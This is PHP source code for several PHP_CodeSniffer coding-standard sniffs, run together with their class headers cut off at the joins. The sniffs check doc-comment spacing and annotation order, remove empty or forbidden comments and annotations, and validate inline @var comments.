$phpcsFile->fixer->endChangeset(); } private function checkLinesBetweenDescriptionAndFirstAnnotation( File $phpcsFile, int $docCommentOpenerPointer, int $firstContentStartPointer, int $firstContentEndPointer, ?int $firstAnnotationPointer ): void { if ($firstAnnotationPointer === null) { return; } if ($firstContentStartPointer === $firstAnnotationPointer) { return; } $tokens = $phpcsFile->getTokens(); preg_match('~(\\s+)$~', $tokens[$firstContentEndPointer]['content'], $matches); $whitespaceBetweenDescriptionAndFirstAnnotation = $matches[1] ?? ''; $whitespaceBetweenDescriptionAndFirstAnnotation .= TokenHelper::getContent( $phpcsFile, $firstContentEndPointer + 1, $firstAnnotationPointer - 1, ); $linesCountBetweenDescriptionAndAnnotations = max( substr_count($whitespaceBetweenDescriptionAndFirstAnnotation, $phpcsFile->eolChar) - 1, 0, ); if ($linesCountBetweenDescriptionAndAnnotations === $this->linesCountBetweenDescriptionAndAnnotations) { return; } $fix = $phpcsFile->addFixableError( sprintf( 'Expected %d line%s between description and annotations, found %d.', $this->linesCountBetweenDescriptionAndAnnotations, $this->linesCountBetweenDescriptionAndAnnotations === 1 ? '' : 's', $linesCountBetweenDescriptionAndAnnotations, ), $firstAnnotationPointer, self::CODE_INCORRECT_LINES_COUNT_BETWEEN_DESCRIPTION_AND_ANNOTATIONS, ); if (!$fix) { return; } $indentation = IndentationHelper::getIndentation($phpcsFile, $docCommentOpenerPointer); $phpcsFile->fixer->beginChangeset(); $phpcsFile->fixer->addNewline($firstContentEndPointer); FixerHelper::removeBetween($phpcsFile, $firstContentEndPointer, $firstAnnotationPointer); for ($i = 1; $i <= $this->linesCountBetweenDescriptionAndAnnotations; $i++) { FixerHelper::add($phpcsFile, $firstContentEndPointer, sprintf('%s *%s', $indentation, $phpcsFile->eolChar)); } FixerHelper::addBefore($phpcsFile, $firstAnnotationPointer, $indentation . ' * '); $phpcsFile->fixer->endChangeset(); } /** * @param list $annotations */ private function checkLinesBetweenDifferentAnnotationsTypes(File $phpcsFile, int $docCommentOpenerPointer, array $annotations): void { $indentation = IndentationHelper::getIndentation($phpcsFile, $docCommentOpenerPointer); $previousAnnotation = null; foreach ($annotations as $annotation) { if ($previousAnnotation === null) { $previousAnnotation = $annotation; continue; } if ($annotation->getName() === $previousAnnotation->getName()) { $previousAnnotation = $annotation; continue; } $whitespaceAfterPreviousAnnotation = TokenHelper::getContent( $phpcsFile, $previousAnnotation->getEndPointer() + 1, $annotation->getStartPointer() - 1, ); $linesCountAfterPreviousAnnotation = max(substr_count($whitespaceAfterPreviousAnnotation, $phpcsFile->eolChar) - 1, 0); if ($linesCountAfterPreviousAnnotation === $this->linesCountBetweenDifferentAnnotationsTypes) { $previousAnnotation = $annotation; continue; } $fix = $phpcsFile->addFixableError( sprintf( 'Expected %d line%s between different annotations types, found %d.', $this->linesCountBetweenDifferentAnnotationsTypes, $this->linesCountBetweenDifferentAnnotationsTypes === 1 ? '' : 's', $linesCountAfterPreviousAnnotation, ), $annotation->getStartPointer(), self::CODE_INCORRECT_LINES_COUNT_BETWEEN_DIFFERENT_ANNOTATIONS_TYPES, ); if (!$fix) { $previousAnnotation = $annotation; continue; } $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetween($phpcsFile, $previousAnnotation->getEndPointer(), $annotation->getStartPointer()); $phpcsFile->fixer->addNewline($previousAnnotation->getEndPointer()); for ($i = 1; $i <= $this->linesCountBetweenDifferentAnnotationsTypes; $i++) { FixerHelper::add($phpcsFile, $previousAnnotation->getEndPointer(), sprintf('%s *%s', $indentation, $phpcsFile->eolChar)); } FixerHelper::addBefore($phpcsFile, $annotation->getStartPointer(), $indentation . ' * '); $phpcsFile->fixer->endChangeset(); $previousAnnotation = $annotation; } } /** * @param list $annotations */ private function checkAnnotationsGroups(File $phpcsFile, int $docCommentOpenerPointer, array $annotations): void { $tokens = $phpcsFile->getTokens(); $annotationsGroups = []; $annotationsGroup = []; $previousAnnotation = null; foreach ($annotations as $annotation) { if ( $previousAnnotation === null || $tokens[$previousAnnotation->getEndPointer()]['line'] + 1 === $tokens[$annotation->getStartPointer()]['line'] ) { $annotationsGroup[] = $annotation; $previousAnnotation = $annotation; continue; } $annotationsGroups[] = $annotationsGroup; $annotationsGroup = [$annotation]; $previousAnnotation = $annotation; } if (count($annotationsGroup) > 0) { $annotationsGroups[] = $annotationsGroup; } $this->checkAnnotationsGroupsOrder($phpcsFile, $docCommentOpenerPointer, $annotationsGroups, $annotations); $this->checkLinesBetweenAnnotationsGroups($phpcsFile, $docCommentOpenerPointer, $annotationsGroups); } /** * @param list> $annotationsGroups */ private function checkLinesBetweenAnnotationsGroups(File $phpcsFile, int $docCommentOpenerPointer, array $annotationsGroups): void { $tokens = $phpcsFile->getTokens(); $previousAnnotationsGroup = null; foreach ($annotationsGroups as $annotationsGroup) { if ($previousAnnotationsGroup === null) { $previousAnnotationsGroup = $annotationsGroup; continue; } $lastAnnotationInPreviousGroup = $previousAnnotationsGroup[count($previousAnnotationsGroup) - 1]; $firstAnnotationInActualGroup = $annotationsGroup[0]; $actualLinesCountBetweenAnnotationsGroups = $tokens[$firstAnnotationInActualGroup->getStartPointer()]['line'] - $tokens[$lastAnnotationInPreviousGroup->getEndPointer()]['line'] - 1; if ($actualLinesCountBetweenAnnotationsGroups === $this->linesCountBetweenAnnotationsGroups) { $previousAnnotationsGroup = $annotationsGroup; continue; } $fix = $phpcsFile->addFixableError( sprintf( 'Expected %d line%s between annotations groups, found %d.', $this->linesCountBetweenAnnotationsGroups, $this->linesCountBetweenAnnotationsGroups === 1 ? '' : 's', $actualLinesCountBetweenAnnotationsGroups, ), $firstAnnotationInActualGroup->getStartPointer(), self::CODE_INCORRECT_LINES_COUNT_BETWEEN_ANNOTATIONS_GROUPS, ); if (!$fix) { $previousAnnotationsGroup = $annotationsGroup; continue; } $indentation = IndentationHelper::getIndentation($phpcsFile, $docCommentOpenerPointer); $phpcsFile->fixer->beginChangeset(); $phpcsFile->fixer->addNewline($lastAnnotationInPreviousGroup->getEndPointer()); FixerHelper::removeBetween( $phpcsFile, $lastAnnotationInPreviousGroup->getEndPointer(), $firstAnnotationInActualGroup->getStartPointer(), ); for ($i = 1; $i <= $this->linesCountBetweenAnnotationsGroups; $i++) { FixerHelper::add( $phpcsFile, $lastAnnotationInPreviousGroup->getEndPointer(), sprintf('%s *%s', $indentation, $phpcsFile->eolChar), ); } FixerHelper::addBefore( $phpcsFile, $firstAnnotationInActualGroup->getStartPointer(), $indentation . ' * ', ); $phpcsFile->fixer->endChangeset(); } } /** * @param list> $annotationsGroups * @param list $annotations */ private function checkAnnotationsGroupsOrder( File $phpcsFile, int $docCommentOpenerPointer, array $annotationsGroups, array $annotations ): void { $getAnnotationsPointers = static fn (Annotation $annotation): int => $annotation->getStartPointer(); $equals = static function (array $firstAnnotationsGroup, array $secondAnnotationsGroup) use ($getAnnotationsPointers): bool { $firstAnnotationsPointers = array_map($getAnnotationsPointers, $firstAnnotationsGroup); $secondAnnotationsPointers = array_map($getAnnotationsPointers, $secondAnnotationsGroup); return count(array_diff($firstAnnotationsPointers, $secondAnnotationsPointers)) === 0 && count(array_diff($secondAnnotationsPointers, $firstAnnotationsPointers)) === 0; }; $sortedAnnotationsGroups = $this->sortAnnotationsToGroups($annotations); $incorrectAnnotationsGroupsExist = false; $annotationsGroupsPositions = []; $fix = false; $undefinedAnnotationsGroups = []; foreach ($annotationsGroups as $annotationsGroupPosition => $annotationsGroup) { foreach ($sortedAnnotationsGroups as $sortedAnnotationsGroupPosition => $sortedAnnotationsGroup) { if ($equals($annotationsGroup, $sortedAnnotationsGroup)) { $annotationsGroupsPositions[$annotationsGroupPosition] = $sortedAnnotationsGroupPosition; continue 2; } $undefinedAnnotationsGroup = true; foreach ($annotationsGroup as $annotation) { foreach ($this->getAnnotationsGroups() as $annotationNames) { foreach ($annotationNames as $annotationName) { if ($this->isAnnotationMatched($annotation, $annotationName)) { $undefinedAnnotationsGroup = false; break 3; } } } } if ($undefinedAnnotationsGroup) { $undefinedAnnotationsGroups[] = $annotationsGroupPosition; continue 2; } } $incorrectAnnotationsGroupsExist = true; $fix = $phpcsFile->addFixableError( 'Incorrect annotations group.', $annotationsGroup[0]->getStartPointer(), self::CODE_INCORRECT_ANNOTATIONS_GROUP, ); } if (count($annotationsGroupsPositions) === 0 && count($undefinedAnnotationsGroups) > 1) { $incorrectAnnotationsGroupsExist = true; $fix = $phpcsFile->addFixableError( 'Incorrect annotations group.', $annotationsGroups[0][0]->getStartPointer(), self::CODE_INCORRECT_ANNOTATIONS_GROUP, ); } if (!$incorrectAnnotationsGroupsExist) { foreach ($undefinedAnnotationsGroups as $undefinedAnnotationsGroupPosition) { $annotationsGroupsPositions[$undefinedAnnotationsGroupPosition] = (count($annotationsGroupsPositions) > 0 ? max($annotationsGroupsPositions) : 0) + 1; } ksort($annotationsGroupsPositions); $positionsMappedToGroups = array_keys($annotationsGroupsPositions); $tmp = array_values($annotationsGroupsPositions); asort($tmp); $normalizedAnnotationsGroupsPositions = array_combine(array_keys($positionsMappedToGroups), array_keys($tmp)); foreach ($normalizedAnnotationsGroupsPositions as $normalizedAnnotationsGroupPosition => $sortedAnnotationsGroupPosition) { if ($normalizedAnnotationsGroupPosition === $sortedAnnotationsGroupPosition) { continue; } $fix = $phpcsFile->addFixableError( 'Incorrect order of annotations groups.', $annotationsGroups[$positionsMappedToGroups[$normalizedAnnotationsGroupPosition]][0]->getStartPointer(), self::CODE_INCORRECT_ORDER_OF_ANNOTATIONS_GROUPS, ); break; } } foreach ($annotationsGroups as $annotationsGroupPosition => $annotationsGroup) { if (!array_key_exists($annotationsGroupPosition, $annotationsGroupsPositions)) { continue; } if (!array_key_exists($annotationsGroupsPositions[$annotationsGroupPosition], $sortedAnnotationsGroups)) { continue; } $sortedAnnotationsGroup = $sortedAnnotationsGroups[$annotationsGroupsPositions[$annotationsGroupPosition]]; foreach ($annotationsGroup as $annotationPosition => $annotation) { if ($annotation === $sortedAnnotationsGroup[$annotationPosition]) { continue; } $fix = $phpcsFile->addFixableError( 'Incorrect order of annotations in group.', $annotation->getStartPointer(), self::CODE_INCORRECT_ORDER_OF_ANNOTATIONS_IN_GROUP, ); break; } } if (!$fix) { return; } $firstAnnotation = $annotationsGroups[0][0]; $lastAnnotationsGroup = $annotationsGroups[count($annotationsGroups) - 1]; $lastAnnotation = $lastAnnotationsGroup[count($lastAnnotationsGroup) - 1]; $indentation = IndentationHelper::getIndentation($phpcsFile, $docCommentOpenerPointer); $fixedAnnotations = ''; $firstGroup = true; foreach ($sortedAnnotationsGroups as $sortedAnnotationsGroup) { if ($firstGroup) { $firstGroup = false; } else { for ($i = 0; $i < $this->linesCountBetweenAnnotationsGroups; $i++) { $fixedAnnotations .= sprintf('%s *%s', $indentation, $phpcsFile->eolChar); } } foreach ($sortedAnnotationsGroup as $sortedAnnotation) { $fixedAnnotations .= sprintf( '%s * %s%s', $indentation, trim(TokenHelper::getContent($phpcsFile, $sortedAnnotation->getStartPointer(), $sortedAnnotation->getEndPointer())), $phpcsFile->eolChar, ); } } $tokens = $phpcsFile->getTokens(); $docCommentCloserPointer = $tokens[$docCommentOpenerPointer]['comment_closer']; $endOfLineBeforeFirstAnnotation = TokenHelper::findPreviousContent( $phpcsFile, T_DOC_COMMENT_WHITESPACE, $phpcsFile->eolChar, $firstAnnotation->getStartPointer() - 1, $docCommentOpenerPointer, ); $docCommentContentEndPointer = TokenHelper::findNextContent( $phpcsFile, T_DOC_COMMENT_WHITESPACE, $phpcsFile->eolChar, $lastAnnotation->getEndPointer() + 1, $docCommentCloserPointer, ); $docCommentContentEndPointer ??= $lastAnnotation->getEndPointer(); $phpcsFile->fixer->beginChangeset(); if ($endOfLineBeforeFirstAnnotation === null) { FixerHelper::change( $phpcsFile, $docCommentOpenerPointer, $docCommentContentEndPointer, '/**' . $phpcsFile->eolChar . $fixedAnnotations, ); } else { FixerHelper::change($phpcsFile, $endOfLineBeforeFirstAnnotation + 1, $docCommentContentEndPointer, $fixedAnnotations); } $phpcsFile->fixer->endChangeset(); } /** * @param list $annotations * @return list> */ private function sortAnnotationsToGroups(array $annotations): array { $expectedAnnotationsGroups = $this->getAnnotationsGroups(); $sortedAnnotationsGroups = []; $annotationsNotInAnyGroup = []; foreach ($annotations as $annotation) { foreach ($expectedAnnotationsGroups as $annotationsGroupPosition => $annotationsGroup) { foreach ($annotationsGroup as $annotationName) { if ($this->isAnnotationMatched($annotation, $annotationName)) { $sortedAnnotationsGroups[$annotationsGroupPosition][] = $annotation; continue 3; } } } $annotationsNotInAnyGroup[] = $annotation; } ksort($sortedAnnotationsGroups); foreach (array_keys($sortedAnnotationsGroups) as $annotationsGroupPosition) { $expectedAnnotationsGroupOrder = array_flip($expectedAnnotationsGroups[$annotationsGroupPosition]); usort( $sortedAnnotationsGroups[$annotationsGroupPosition], function (Annotation $firstAnnotation, Annotation $secondAnnotation) use ($expectedAnnotationsGroupOrder): int { $getExpectedOrder = function (string $annotationName) use ($expectedAnnotationsGroupOrder): int { if (array_key_exists($annotationName, $expectedAnnotationsGroupOrder)) { return $expectedAnnotationsGroupOrder[$annotationName]; } $order = 0; foreach ($expectedAnnotationsGroupOrder as $expectedAnnotationName => $expectedAnnotationOrder) { if ($this->isAnnotationNameInAnnotationNamespace($expectedAnnotationName, $annotationName)) { $order = $expectedAnnotationOrder; break; } } return $order; }; $expectedOrder = $getExpectedOrder($firstAnnotation->getName()) <=> $getExpectedOrder($secondAnnotation->getName()); return $expectedOrder !== 0 ? $expectedOrder : $firstAnnotation->getStartPointer() <=> $secondAnnotation->getStartPointer(); }, ); } if (count($annotationsNotInAnyGroup) > 0) { $sortedAnnotationsGroups[] = $annotationsNotInAnyGroup; } return array_values($sortedAnnotationsGroups); } private function isAnnotationNameInAnnotationNamespace(string $annotationNamespace, string $annotationName): bool { return $this->isAnnotationStartedFrom($annotationNamespace, $annotationName) || ( in_array(substr($annotationNamespace, -1), ['\\', '-', ':'], true) && strpos($annotationName, $annotationNamespace) === 0 ); } private function isAnnotationStartedFrom(string $annotationNamespace, string $annotationName): bool { return substr($annotationNamespace, -1) === '*' && strpos($annotationName, substr($annotationNamespace, 0, -1)) === 0; } private function isAnnotationMatched(Annotation $annotation, string $annotationName): bool { if ($annotation->getName() === $annotationName) { return true; } return $this->isAnnotationNameInAnnotationNamespace($annotationName, $annotation->getName()); } private function checkLinesAfterLastContent( File $phpcsFile, int $docCommentOpenerPointer, int $docCommentCloserPointer, int $lastContentEndPointer ): void { $whitespaceAfterLastContent = TokenHelper::getContent($phpcsFile, $lastContentEndPointer + 1, $docCommentCloserPointer); $linesCountAfterLastContent = max(substr_count($whitespaceAfterLastContent, $phpcsFile->eolChar) - 1, 0); if ($linesCountAfterLastContent === $this->linesCountAfterLastContent) { return; } $fix = $phpcsFile->addFixableError( sprintf( 'Expected %d line%s after last content, found %d.', $this->linesCountAfterLastContent, $this->linesCountAfterLastContent === 1 ? '' : 's', $linesCountAfterLastContent, ), $lastContentEndPointer, self::CODE_INCORRECT_LINES_COUNT_AFTER_LAST_CONTENT, ); if (!$fix) { return; } $indentation = IndentationHelper::getIndentation($phpcsFile, $docCommentOpenerPointer); $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetween($phpcsFile, $lastContentEndPointer, $docCommentCloserPointer); $phpcsFile->fixer->addNewline($lastContentEndPointer); for ($i = 1; $i <= $this->linesCountAfterLastContent; $i++) { FixerHelper::add($phpcsFile, $lastContentEndPointer, sprintf('%s *%s', $indentation, $phpcsFile->eolChar)); } FixerHelper::addBefore($phpcsFile, $docCommentCloserPointer, $indentation . ' '); $phpcsFile->fixer->endChangeset(); } /** * @return array> */ private function getAnnotationsGroups(): array { if ($this->normalizedAnnotationsGroups === null) { $this->normalizedAnnotationsGroups = []; foreach ($this->annotationsGroups as $annotationsGroup) { $this->normalizedAnnotationsGroups[] = SniffSettingsHelper::normalizeArray(explode(',', $annotationsGroup)); } } return $this->normalizedAnnotationsGroups; } } */ public function register(): array { return [ T_DOC_COMMENT_OPEN_TAG, T_COMMENT, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $commentStartPointer */ public function process(File $phpcsFile, $commentStartPointer): void { $commentEndPointer = CommentHelper::getCommentEndPointer($phpcsFile, $commentStartPointer); if ($commentEndPointer === null) { // Part of block comment return; } $commentContent = $this->getCommentContent($phpcsFile, $commentStartPointer, $commentEndPointer); $isLineComment = CommentHelper::isLineComment($phpcsFile, $commentStartPointer); $isEmpty = $this->isEmpty($commentContent, $isLineComment); if (!$isEmpty) { return; } if ( $isLineComment && $this->isPartOfMultiLineInlineComments($phpcsFile, $commentStartPointer, $commentEndPointer) ) { return; } $fix = $phpcsFile->addFixableError('Empty comment', $commentStartPointer, self::CODE_EMPTY_COMMENT); if (!$fix) { return; } $tokens = $phpcsFile->getTokens(); /** @var int $pointerBeforeWhitespaceBeforeComment */ $pointerBeforeWhitespaceBeforeComment = TokenHelper::findPreviousNonWhitespace($phpcsFile, $commentStartPointer - 1); $whitespaceBeforeComment = $pointerBeforeWhitespaceBeforeComment !== $commentStartPointer - 1 ? TokenHelper::getContent($phpcsFile, $pointerBeforeWhitespaceBeforeComment + 1, $commentStartPointer - 1) : ''; $fixedWhitespaceBeforeComment = preg_replace('~[ \\t]+$~', '', $whitespaceBeforeComment); $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetween($phpcsFile, $pointerBeforeWhitespaceBeforeComment, $commentStartPointer); FixerHelper::add($phpcsFile, $pointerBeforeWhitespaceBeforeComment, $fixedWhitespaceBeforeComment); FixerHelper::removeBetweenIncluding($phpcsFile, $commentStartPointer, $commentEndPointer); $whitespacePointerAfterComment = $commentEndPointer + 1; if ($tokens[$pointerBeforeWhitespaceBeforeComment]['line'] === $tokens[$commentStartPointer]['line']) { if (StringHelper::endsWith($tokens[$commentEndPointer]['content'], $phpcsFile->eolChar)) { $phpcsFile->fixer->addNewline($commentEndPointer); } } elseif ( array_key_exists($whitespacePointerAfterComment, $tokens) && $tokens[$whitespacePointerAfterComment]['code'] === T_WHITESPACE ) { $fixedWhitespaceAfterComment = preg_replace( '~^[ \\t]*' . $phpcsFile->eolChar . '~', '', $tokens[$whitespacePointerAfterComment]['content'], ); FixerHelper::replace($phpcsFile, $whitespacePointerAfterComment, $fixedWhitespaceAfterComment); } $phpcsFile->fixer->endChangeset(); } private function isEmpty(string $comment, bool $isLineComment): bool { return $isLineComment ? (bool) preg_match('~^\\s*$~', $comment) : (bool) preg_match('~^[\\s\*]*$~', $comment); } private function getCommentContent(File $phpcsFile, int $commentStartPointer, int $commentEndPointer): string { $tokens = $phpcsFile->getTokens(); if ($tokens[$commentStartPointer]['code'] === T_DOC_COMMENT_OPEN_TAG) { return TokenHelper::getContent($phpcsFile, $commentStartPointer + 1, $commentEndPointer - 1); } if (preg_match('~^(?://|#)(.*)~', $tokens[$commentStartPointer]['content'], $matches) === 1) { return $matches[1]; } return substr(TokenHelper::getContent($phpcsFile, $commentStartPointer, $commentEndPointer), 2, -2); } private function isPartOfMultiLineInlineComments(File $phpcsFile, int $commentStartPointer, int $commentEndPointer): bool { if (!$this->isNonEmptyLineCommentBefore($phpcsFile, $commentStartPointer)) { return false; } return $this->isNonEmptyLineCommentAfter($phpcsFile, $commentEndPointer); } private function isNonEmptyLineCommentBefore(File $phpcsFile, int $commentStartPointer): bool { $tokens = $phpcsFile->getTokens(); /** @var int $beforeCommentStartPointer */ $beforeCommentStartPointer = TokenHelper::findPreviousNonWhitespace($phpcsFile, $commentStartPointer - 1); if ($tokens[$beforeCommentStartPointer]['code'] !== T_COMMENT) { return false; } if (!CommentHelper::isLineComment($phpcsFile, $beforeCommentStartPointer)) { return false; } if ($tokens[$beforeCommentStartPointer]['line'] + 1 !== $tokens[$commentStartPointer]['line']) { return false; } /** @var int $beforeCommentEndPointer */ $beforeCommentEndPointer = CommentHelper::getCommentEndPointer($phpcsFile, $beforeCommentStartPointer); if (!$this->isEmpty($this->getCommentContent($phpcsFile, $beforeCommentStartPointer, $beforeCommentEndPointer), true)) { return true; } return $this->isNonEmptyLineCommentBefore($phpcsFile, $beforeCommentStartPointer); } private function isNonEmptyLineCommentAfter(File $phpcsFile, int $commentEndPointer): bool { $tokens = $phpcsFile->getTokens(); $afterCommentStartPointer = TokenHelper::findNextNonWhitespace($phpcsFile, $commentEndPointer + 1); if ($afterCommentStartPointer === null) { return false; } if ($tokens[$afterCommentStartPointer]['code'] !== T_COMMENT) { return false; } if (!CommentHelper::isLineComment($phpcsFile, $afterCommentStartPointer)) { return false; } if ($tokens[$commentEndPointer]['line'] + 1 !== $tokens[$afterCommentStartPointer]['line']) { return false; } /** @var int $afterCommentEndPointer */ $afterCommentEndPointer = CommentHelper::getCommentEndPointer($phpcsFile, $afterCommentStartPointer); if (!$this->isEmpty($this->getCommentContent($phpcsFile, $afterCommentStartPointer, $afterCommentEndPointer), true)) { return true; } return $this->isNonEmptyLineCommentAfter($phpcsFile, $afterCommentEndPointer); } } */ public array $forbiddenAnnotations = []; /** @var list|null */ private ?array $normalizedForbiddenAnnotations = null; /** * @return array */ public function register(): array { return [ T_DOC_COMMENT_OPEN_TAG, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $docCommentOpenPointer */ public function process(File $phpcsFile, $docCommentOpenPointer): void { $tokens = $phpcsFile->getTokens(); $annotations = AnnotationHelper::getAnnotations($phpcsFile, $docCommentOpenPointer); foreach ($annotations as $annotation) { if (!in_array($annotation->getName(), $this->getNormalizedForbiddenAnnotations(), true)) { continue; } $fix = $phpcsFile->addFixableError( sprintf('Use of annotation %s is forbidden.', $annotation->getName()), $annotation->getStartPointer(), self::CODE_ANNOTATION_FORBIDDEN, ); if (!$fix) { continue; } $starPointer = TokenHelper::findPrevious( $phpcsFile, T_DOC_COMMENT_STAR, $annotation->getStartPointer() - 1, $docCommentOpenPointer, ); $annotationStartPointer = $starPointer ?? $annotation->getStartPointer(); /** @var int $nextPointer */ $nextPointer = TokenHelper::findNext( $phpcsFile, [T_DOC_COMMENT_TAG, T_DOC_COMMENT_CLOSE_TAG], $annotation->getEndPointer() + 1, ); if ($tokens[$nextPointer]['code'] === T_DOC_COMMENT_TAG) { $nextPointer = TokenHelper::findPrevious($phpcsFile, T_DOC_COMMENT_STAR, $nextPointer - 1); } $annotationEndPointer = $nextPointer - 1; if ($tokens[$nextPointer]['code'] === T_DOC_COMMENT_CLOSE_TAG && $starPointer !== null) { $pointerBeforeWhitespace = TokenHelper::findPreviousExcluding( $phpcsFile, [T_DOC_COMMENT_WHITESPACE, T_DOC_COMMENT_STAR], $annotationStartPointer - 1, ); /** @var int $annotationStartPointer */ $annotationStartPointer = TokenHelper::findNext($phpcsFile, T_DOC_COMMENT_STAR, $pointerBeforeWhitespace + 1); } $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $annotationStartPointer, $annotationEndPointer); $docCommentUseful = false; $docCommentClosePointer = $tokens[$docCommentOpenPointer]['comment_closer']; for ($i = $docCommentOpenPointer + 1; $i < $docCommentClosePointer; $i++) { $tokenContent = trim($phpcsFile->fixer->getTokenContent($i)); if ($tokenContent === '' || $tokenContent === '*') { continue; } $docCommentUseful = true; break; } if (!$docCommentUseful) { /** @var int $nextPointerAfterDocComment */ $nextPointerAfterDocComment = TokenHelper::findNextEffective($phpcsFile, $docCommentClosePointer + 1); FixerHelper::removeBetweenIncluding($phpcsFile, $docCommentOpenPointer, $nextPointerAfterDocComment - 1); } $phpcsFile->fixer->endChangeset(); } } /** * @return list */ private function getNormalizedForbiddenAnnotations(): array { $this->normalizedForbiddenAnnotations ??= SniffSettingsHelper::normalizeArray($this->forbiddenAnnotations); return $this->normalizedForbiddenAnnotations; } } */ public array $forbiddenCommentPatterns = []; /** * @return array */ public function register(): array { return [ T_DOC_COMMENT_OPEN_TAG, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $docCommentOpenPointer */ public function process(File $phpcsFile, $docCommentOpenPointer): void { $tokens = $phpcsFile->getTokens(); $comments = DocCommentHelper::getDocCommentDescription($phpcsFile, $docCommentOpenPointer); if ($comments === null) { return; } foreach (SniffSettingsHelper::normalizeArray($this->forbiddenCommentPatterns) as $forbiddenCommentPattern) { if (!SniffSettingsHelper::isValidRegularExpression($forbiddenCommentPattern)) { throw new Exception(sprintf('%s is not valid PCRE pattern.', $forbiddenCommentPattern)); } foreach ($comments as $comment) { if (preg_match($forbiddenCommentPattern, $comment->getContent()) === 0) { continue; } $fix = $phpcsFile->addFixableError( sprintf('Documentation comment contains forbidden comment "%s".', $comment->getContent()), $comment->getPointer(), self::CODE_COMMENT_FORBIDDEN, ); if (!$fix) { continue; } $phpcsFile->fixer->beginChangeset(); $fixedDocComment = preg_replace($forbiddenCommentPattern, '', $comment->getContent()); FixerHelper::replace($phpcsFile, $comment->getPointer(), $fixedDocComment); for ($i = $comment->getPointer() - 1; $i > $docCommentOpenPointer; $i--) { $contentWithoutSpaces = preg_replace('~ +$~', '', $tokens[$i]['content'], -1, $replacedCount); if ($replacedCount === 0) { break; } FixerHelper::replace($phpcsFile, $i, $contentWithoutSpaces); } $docCommentContent = ''; for ($i = $docCommentOpenPointer + 1; $i < $tokens[$docCommentOpenPointer]['comment_closer']; $i++) { $token = $phpcsFile->fixer->getTokenContent($i); $docCommentContent .= $token; } if (preg_match('~^[\\s\*]*$~', $docCommentContent) !== 0) { $pointerBeforeDocComment = $docCommentOpenPointer - 1; $contentBeforeWithoutSpaces = preg_replace( '~[\t ]+$~', '', $tokens[$pointerBeforeDocComment]['content'], -1, $replacedCount, ); if ($replacedCount !== 0) { FixerHelper::replace($phpcsFile, $pointerBeforeDocComment, $contentBeforeWithoutSpaces); } FixerHelper::removeBetweenIncluding( $phpcsFile, $docCommentOpenPointer, $tokens[$docCommentOpenPointer]['comment_closer'], ); $pointerAfterDocComment = $tokens[$docCommentOpenPointer]['comment_closer'] + 1; if (array_key_exists($pointerAfterDocComment, $tokens)) { $contentAfterWithoutSpaces = preg_replace( '~^[\r\n]+~', '', $tokens[$pointerAfterDocComment]['content'], -1, $replacedCount, ); if ($replacedCount !== 0) { FixerHelper::replace($phpcsFile, $pointerAfterDocComment, $contentAfterWithoutSpaces); } } } $phpcsFile->fixer->endChangeset(); } } } } */ public function register(): array { return [ T_DOC_COMMENT_OPEN_TAG, T_COMMENT, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $commentOpenPointer */ public function process(File $phpcsFile, $commentOpenPointer): void { $tokens = $phpcsFile->getTokens(); $commentClosePointer = $tokens[$commentOpenPointer]['code'] === T_COMMENT ? $commentOpenPointer : $tokens[$commentOpenPointer]['comment_closer']; $pointerAfterCommentClosePointer = TokenHelper::findNextEffective($phpcsFile, $commentClosePointer + 1); if ($pointerAfterCommentClosePointer !== null) { do { if ($tokens[$pointerAfterCommentClosePointer]['code'] !== T_ATTRIBUTE) { break; } $pointerAfterCommentClosePointer = TokenHelper::findNextEffective( $phpcsFile, $tokens[$pointerAfterCommentClosePointer]['attribute_closer'] + 1, ); } while (true); if (in_array( $tokens[$pointerAfterCommentClosePointer]['code'], [T_PRIVATE, T_PROTECTED, T_PUBLIC, T_READONLY, T_FINAL, T_CONST], true, )) { return; } if ($tokens[$pointerAfterCommentClosePointer]['code'] === T_STATIC) { $pointerAfterStatic = TokenHelper::findNextEffective($phpcsFile, $pointerAfterCommentClosePointer + 1); if (in_array($tokens[$pointerAfterStatic]['code'], [T_PRIVATE, T_PROTECTED, T_PUBLIC, T_READONLY], true)) { return; } if ($tokens[$pointerAfterStatic]['code'] === T_VARIABLE && PropertyHelper::isProperty($phpcsFile, $pointerAfterStatic)) { return; } } } if ($tokens[$commentOpenPointer]['code'] === T_COMMENT) { $this->checkCommentType($phpcsFile, $commentOpenPointer); return; } /** @var list> $annotations */ $annotations = AnnotationHelper::getAnnotations($phpcsFile, $commentOpenPointer, '@var'); if ($annotations === []) { return; } if ($this->allowDocCommentAboveReturn) { $pointerAfterCommentClosePointer = TokenHelper::findNextEffective($phpcsFile, $commentClosePointer + 1); if ($pointerAfterCommentClosePointer === null || $tokens[$pointerAfterCommentClosePointer]['code'] === T_RETURN) { return; } } $this->checkFormat($phpcsFile, $annotations); $this->checkVariable($phpcsFile, $annotations, $commentOpenPointer, $commentClosePointer); } private function checkCommentType(File $phpcsFile, int $commentOpenPointer): void { $tokens = $phpcsFile->getTokens(); if (preg_match('~^/\*\\s*@var\\s+~', $tokens[$commentOpenPointer]['content']) === 0) { return; } $fix = $phpcsFile->addFixableError( 'Invalid comment type /* */ for inline documentation comment, use /** */.', $commentOpenPointer, self::CODE_INVALID_COMMENT_TYPE, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::replace( $phpcsFile, $commentOpenPointer, sprintf('/**%s', substr($tokens[$commentOpenPointer]['content'], 2)), ); $phpcsFile->fixer->endChangeset(); } /** * @param list> $annotations */ private function checkFormat(File $phpcsFile, array $annotations): void { foreach ($annotations as $annotation) { if (!$annotation->isInvalid() && $annotation->getValue()->variableName !== '') { continue; } $variableName = '$variableName'; $annotationContent = (string) $annotation->getValue(); $type = null; if ( $annotationContent !== '' && preg_match('~(\$\w+)(?:\s+(.+))?$~i', $annotationContent, $matches) === 1 ) { $variableName = $matches[1]; $type = $matches[2] ?? null; } // It may be description when it contains whitespaces $isFixable = $type !== null && preg_match('~\s~', $type) === 0; if (!$isFixable) { $phpcsFile->addError( sprintf( 